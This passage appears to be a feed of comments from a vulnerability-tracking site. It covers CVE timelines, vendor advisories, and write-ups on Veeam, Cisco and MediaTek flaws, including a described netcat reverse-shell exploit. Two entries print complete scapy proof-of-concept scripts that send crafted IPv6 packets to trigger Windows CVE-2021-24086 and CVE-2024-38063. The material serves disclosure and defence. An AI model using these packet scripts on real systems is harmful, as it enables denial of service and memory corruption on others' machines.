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Timeline of reporting, publication/disclosure and fix

2024-09-23T20:24:00.472522+00:00

The timeline on https://bugzilla.tianocore.org/show_bug.cgi?id=3387 is interesting: - 2021-05-10 16:43 UTC - Bug reported by John Mathews - 2021-07-07 14:02:27 - Working patch mentioned by Vincent Zimmer (and also recommends the need of a CVE) - 2022-05-10 21:04:45 UTC "Blackduck has this CVE in their database so this CVE is being flagged for all edk2 products that are scanned." - 2022-06-14 05:52:10 UTC - Patch doesn't build. - 2022-11-04 - Patch merged in the repo https://github.com/tianocore/edk2/commit/cab1f02565d3b29081dd21afb074f35fdb4e1fd6 But the vulnerability was published 2022-03-03 21:53 or is the timeline incorrect?

Potential typo in the CVE summary

2024-09-23T20:24:00.472501+00:00

As mentioned in [this toot](https://social.circl.lu/@fl@infosec.exchange/112876958526263355), it seems the group name is `ESX Admins` and not `ESXi Admins`.

KB5025885: How to manage the Windows Boot Manager revocations for Secure Boot changes associated with CVE-2023-24932

2024-09-23T20:24:00.472479+00:00

- [KB5025885: How to manage the Windows Boot Manager revocations for Secure Boot changes associated with CVE-2023-24932](https://support.microsoft.com/en-us/topic/kb5025885-how-to-manage-the-windows-boot-manager-revocations-for-secure-boot-changes-associated-with-cve-2023-24932-41a975df-beb2-40c1-99a3-b3ff139f832d)

More details about the update process on the AMD website

2024-09-23T20:24:00.472458+00:00

"AMD plans to release the Platform Initialization (PI) firmware version indicated below. " The release scheduled is mentioned there: https://www.amd.com/en/resources/product-security/bulletin/amd-sb-7014.html It also depends of the AGESA update process for some motherboards.

Analysis of a Windows IPv6 Fragmentation Vulnerability: CVE-2021-24086

2024-09-23T20:24:00.472437+00:00

[Analysis of a denial of service vulnerability affecting the IPv6 stack of Windows](https://blog.quarkslab.com/analysis-of-a-windows-ipv6-fragmentation-vulnerability-cve-2021-24086.html). This issue, whose root cause can be found in the mishandling of IPv6 fragments, was patched by Microsoft in their February 2021 security bulletin. ### Proof of Concept ```python import sys import random from scapy.all import * FRAGMENT_SIZE = 0x400 LAYER4_FRAG_OFFSET = 0x8 NEXT_HEADER_IPV6_ROUTE = 43 NEXT_HEADER_IPV6_FRAG = 44 NEXT_HEADER_IPV6_ICMP = 58 def get_layer4(): er = ICMPv6EchoRequest(data = "PoC for CVE-2021-24086") er.cksum = 0xa472 return raw(er) def get_inner_packet(target_addr): inner_frag_id = random.randint(0, 0xffffffff) print("**** inner_frag_id: 0x{:x}".format(inner_frag_id)) raw_er = get_layer4() # 0x1ffa Routing headers == 0xffd0 bytes routes = raw(IPv6ExtHdrRouting(addresses=[], nh = NEXT_HEADER_IPV6_ROUTE)) * (0xffd0//8 - 1) routes += raw(IPv6ExtHdrRouting(addresses=[], nh = NEXT_HEADER_IPV6_FRAG)) # First inner fragment header: offset=0, more=1 FH = IPv6ExtHdrFragment(offset = 0, m=1, id=inner_frag_id, nh = NEXT_HEADER_IPV6_ICMP) return routes + raw(FH) + raw_er[:LAYER4_FRAG_OFFSET], inner_frag_id def send_last_inner_fragment(target_addr, inner_frag_id): raw_er = get_layer4() ip = IPv6(dst = target_addr) # Second (and last) inner fragment header: offset=1, more=0 FH = IPv6ExtHdrFragment(offset = LAYER4_FRAG_OFFSET // 8, m=0, id=inner_frag_id, nh = NEXT_HEADER_IPV6_ICMP) send(ip/FH/raw_er[LAYER4_FRAG_OFFSET:]) def trigger(target_addr): inner_packet, inner_frag_id = get_inner_packet(target_addr) ip = IPv6(dst = target_addr) hopbyhop = IPv6ExtHdrHopByHop(nh = NEXT_HEADER_IPV6_FRAG) outer_frag_id = random.randint(0, 0xffffffff) fragmentable_part = [] for i in range(len(inner_packet) // FRAGMENT_SIZE): fragmentable_part.append(inner_packet[i * FRAGMENT_SIZE: (i+1) * FRAGMENT_SIZE]) if len(inner_packet) % FRAGMENT_SIZE: fragmentable_part.append(inner_packet[(len(fragmentable_part)) * FRAGMENT_SIZE:]) print("Preparing frags...") frag_offset = 0 frags_to_send = [] is_first = True for i in range(len(fragmentable_part)): if i == len(fragmentable_part) - 1: more = 0 else: more = 1 FH = IPv6ExtHdrFragment(offset = frag_offset // 8, m=more, id=outer_frag_id, nh = NEXT_HEADER_IPV6_ROUTE) blob = raw(FH/fragmentable_part[i]) frag_offset += FRAGMENT_SIZE frags_to_send.append(ip/hopbyhop/blob) print("Sending {} frags...".format(len(frags_to_send))) for frag in frags_to_send: send(frag) print("Now sending the last inner fragment to trigger the bug...") send_last_inner_fragment(target_addr, inner_frag_id) if __name__ == '__main__': if len(sys.argv) < 2: print('Usage: cve-2021-24086.py ') sys.exit(1) trigger(sys.argv[1]) ```

Proof of Concept for CVE-2024-38063 - Remote Code Execution Vulnerability in tcpip.sys

2024-09-23T20:24:00.472414+00:00

[Proof of Concept for CVE-2024-38063](https://github.com/ynwarcs/CVE-2024-38063), a RCE in tcpip.sys patched on August 13th 2024. An [analysis of the vulnerability](https://malwaretech.com/2024/08/exploiting-CVE-2024-38063.html) published on August 27, 2024 by Marcus Hutchins. PoC published on GitHub on August 24, 2024. ### Implementation Implementation details are available on [GitHub](https://github.com/ynwarcs/CVE-2024-38063/blob/main/script/cve-2024-38063.py). ```python from scapy.all import * iface='' ip_addr='' mac_addr='' num_tries=20 num_batches=20 def get_packets_with_mac(i): frag_id = 0xdebac1e + i first = Ether(dst=mac_addr) / IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrDestOpt(options=[PadN(otype=0x81, optdata='a'*3)]) second = Ether(dst=mac_addr) / IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m = 1, offset = 0) / 'aaaaaaaa' third = Ether(dst=mac_addr) / IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m = 0, offset = 1) return [first, second, third] def get_packets(i): if mac_addr != '': return get_packets_with_mac(i) frag_id = 0xdebac1e + i first = IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrDestOpt(options=[PadN(otype=0x81, optdata='a'*3)]) second = IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m = 1, offset = 0) / 'aaaaaaaa' third = IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m = 0, offset = 1) return [first, second, third] final_ps = [] for _ in range(num_batches): for i in range(num_tries): final_ps += get_packets(i) + get_packets(i) print("Sending packets") if mac_addr != '': sendp(final_ps, iface) else: send(final_ps, iface) for i in range(60): print(f"Memory corruption will be triggered in {60-i} seconds", end='\r') time.sleep(1) print("") ```

MISP 2.4.197 released with many bugs fixed, a security fix and improvements.

2024-09-23T20:24:00.472391+00:00

- [MISP 2.4.197 released with many bugs fixed, a security fix and improvements.](https://www.misp-project.org/2024/09/02/MISP.2.4.197.released.html/) The MISP release 2.4.197

More details about the Veeam vulnerability

2024-09-23T20:24:00.472365+00:00

- https://censys.com/cve-2024-40711/ - https://labs.watchtowr.com/veeam-backup-response-rce-with-auth-but-mostly-without-auth-cve-2024-40711-2/ ~~~ Well, that was a complex vulnerability, requiring a lot of code-reading! We’ve successfully shown how multiple bugs can be chained together to gain RCE in a variety of versions of Veeam Backup & Replication. We’re a little confused by Veeam’s advisory, however, which seems to be contradictory. As you may recall from the very start of the blogpost, Veeam’s advice was that versions up to and including 12.1.2.172 are vulnerable. While the title of the bug states that “A vulnerability allowing unauthenticated remote code execution (RCE)“, suggesting a world-ending CVSS 10 bug, they then proceed to label the bug as a less-serious CVSS 9.8, requiring user authentication before exploitation is possible. This is confusing, because all versions beneath 12.1.2.172 don’t require authentication to exploit, and only a change made in 12.1.2.172 made it so authentication was required (see above analysis). Perhaps Veeam simply made an error in their advisory, as we (and Code White) clearly demonstrate that authentication is not required. Hopefully, a pre-emptive change wasn’t made in 12.1.2.172 to downgrade the eventual severity of this vulnerability. Regardless of CVSS, the actual situation, as you can see above, is somewhat more nuanced than ‘RCE before 12.1.2.172': Version Status 12.2.0.334 Fully patched. Not affected by the vulnerabilities in this blogpost. 12.1.2.172 Affected, but exploitation requires authentication. Low privilege users are able to execute arbitrary code. 12.1.1.56 and earlier Vulnerable to unauthenticated RCE. Speaking of exploitation, we’re breaking with tradition on this bug by not releasing a full exploit chain (sorry, folks!). We’re a little worried by just how valuable this bug is to malware operators, and so are (on this occasion only) refraining from dropping a working exploit. The most we’re going to drop is this tantalizing video of exploitation, which will have to tide you over until our next post: ~~~

CVE Wednesday - CVE-2024-20439 - from StarkeBlog

2024-09-23T20:24:00.472336+00:00

[Cisco recently released an advisory for CVE-2024-20439 here. (nvd) Please note I did not discover this vulnerability, I just reverse engineered the vulnerability from the advisory](https://starkeblog.com/cve-wednesday/cisco/2024/09/20/cve-wednesday-cve-2024-20439.html) published by Nicholas Starke https://starkeblog.com/

Critical Exploit in MediaTek Wi-Fi Chipsets: Zero-Click Vulnerability (CVE-2024-20017) Threatens Routers and Smartphones

2024-09-23T20:24:00.472244+00:00

# Critical Exploit in MediaTek Wi-Fi Chipsets: Zero-Click Vulnerability (CVE-2024-20017) Threatens Routers and Smartphones By Security News from https://blog.sonicwall.com/en-us/2024/09/critical-exploit-in-mediatek-wi-fi-chipsets-zero-click-vulnerability-cve-2024-20017-threatens-routers-and-smartphones/ September 19, 2024 # Overview The SonicWall Capture Labs threat research team became aware of the threat CVE-2024-20017, assessed its impact and developed mitigation measures for the vulnerability. CVE-2024-20017 is a critical zero-click vulnerability with a CVSS 3.0 score of 9.8, impacting MediaTek Wi-Fi chipsets MT7622/MT7915 and RTxxxx SoftAP driver bundles used in products from various manufacturers, including Ubiquiti, Xiaomi and Netgear. The affected versions include MediaTek SDK versions 7.4.0.1 and earlier, as well as OpenWrt 19.07 and 21.02. This translates to a large variety of vulnerable devices, including routers and smartphones. The flaw allows remote code execution without user interaction due to an out-of-bounds write issue. MediaTek has released patches to mitigate the vulnerability and users should update their devices immediately. While this vulnerability was published and patched back in March, only recently did a public PoC become available making exploitation more likely. # Technical Overview The vulnerability resides in wappd, a network daemon included in the MediaTek MT7622/MT7915 SDK and RTxxxx SoftAP driver bundle. This service is responsible for configuring and managing wireless interfaces and access points, particularly with Hotspot 2.0 technologies. The architecture of wappd is complex, comprising the network service itself, a set of local services that interact with the device’s wireless interfaces, and communication channels between components via Unix domain sockets. Ultimately, the vulnerability is a buffer overflow as a result of a length value taken directly from attacker-controlled packet data without bounds checking and placed into a memory copy. This buffer overflow creates an out-of-bounds write. # Triggering the Vulnerability The vulnerability exists in the IAPP_RcvHandlerSSB function where an attacker controlled length value is passed to the IAPP_MEM_MOVE macro as described in hyprdude’s blog and seen in Figure 1. Figure 1: Vulnerable Code sourced from hyprdude Prior to the last line which calls IAPP_MEM_MOVE, the only bounds check done is to check that the provided length does not exceed the maximum packet length of 1600 bytes. As the size of the destination struct is only 167 bytes, this results in a stack buffer overflow of up to 1433 bytes. To trigger this vulnerability an attacker must send a packet with the expected structures prepending the attack payload. These structures are referred to as the RT_IAPP_HEADER and the RT_IAPP_SEND_SECURITY_BLOCK within the code. To bypass validation checks the length of the RT_IAPP_HEADER struct needs to be small and the RT_IAPP_HEADER.Command field must be to 50. Exploitation The publicly available exploit code achieves remote code execution by using a global address table overwrite technique via a return-oriented programming (ROP) chain. This method leverages the `system()` call to execute commands, such as sending a reverse shell back to the attacker. The reverse shell is established using Bash and the existing Netcat tool on the chipset. Figure 2 illustrates how the reverse shell command is crafted and embedded within the payload to enable this exploitation tactic. Figure 2: Reverse Shell Commands # SonicWall Protections To ensure SonicWall customers are prepared for any exploitation that may occur due to this vulnerability, the following signatures have been released: IPS: 20322 MediaTek MT7915 wlan Service OOB Write 1 IPS: 20323 MediaTek MT7915 wlan Service OOB Write 2 # Remediation Recommendations Due to the availability of the exploit code, it is highly recommended that users upgrade to the latest version of the firmware for their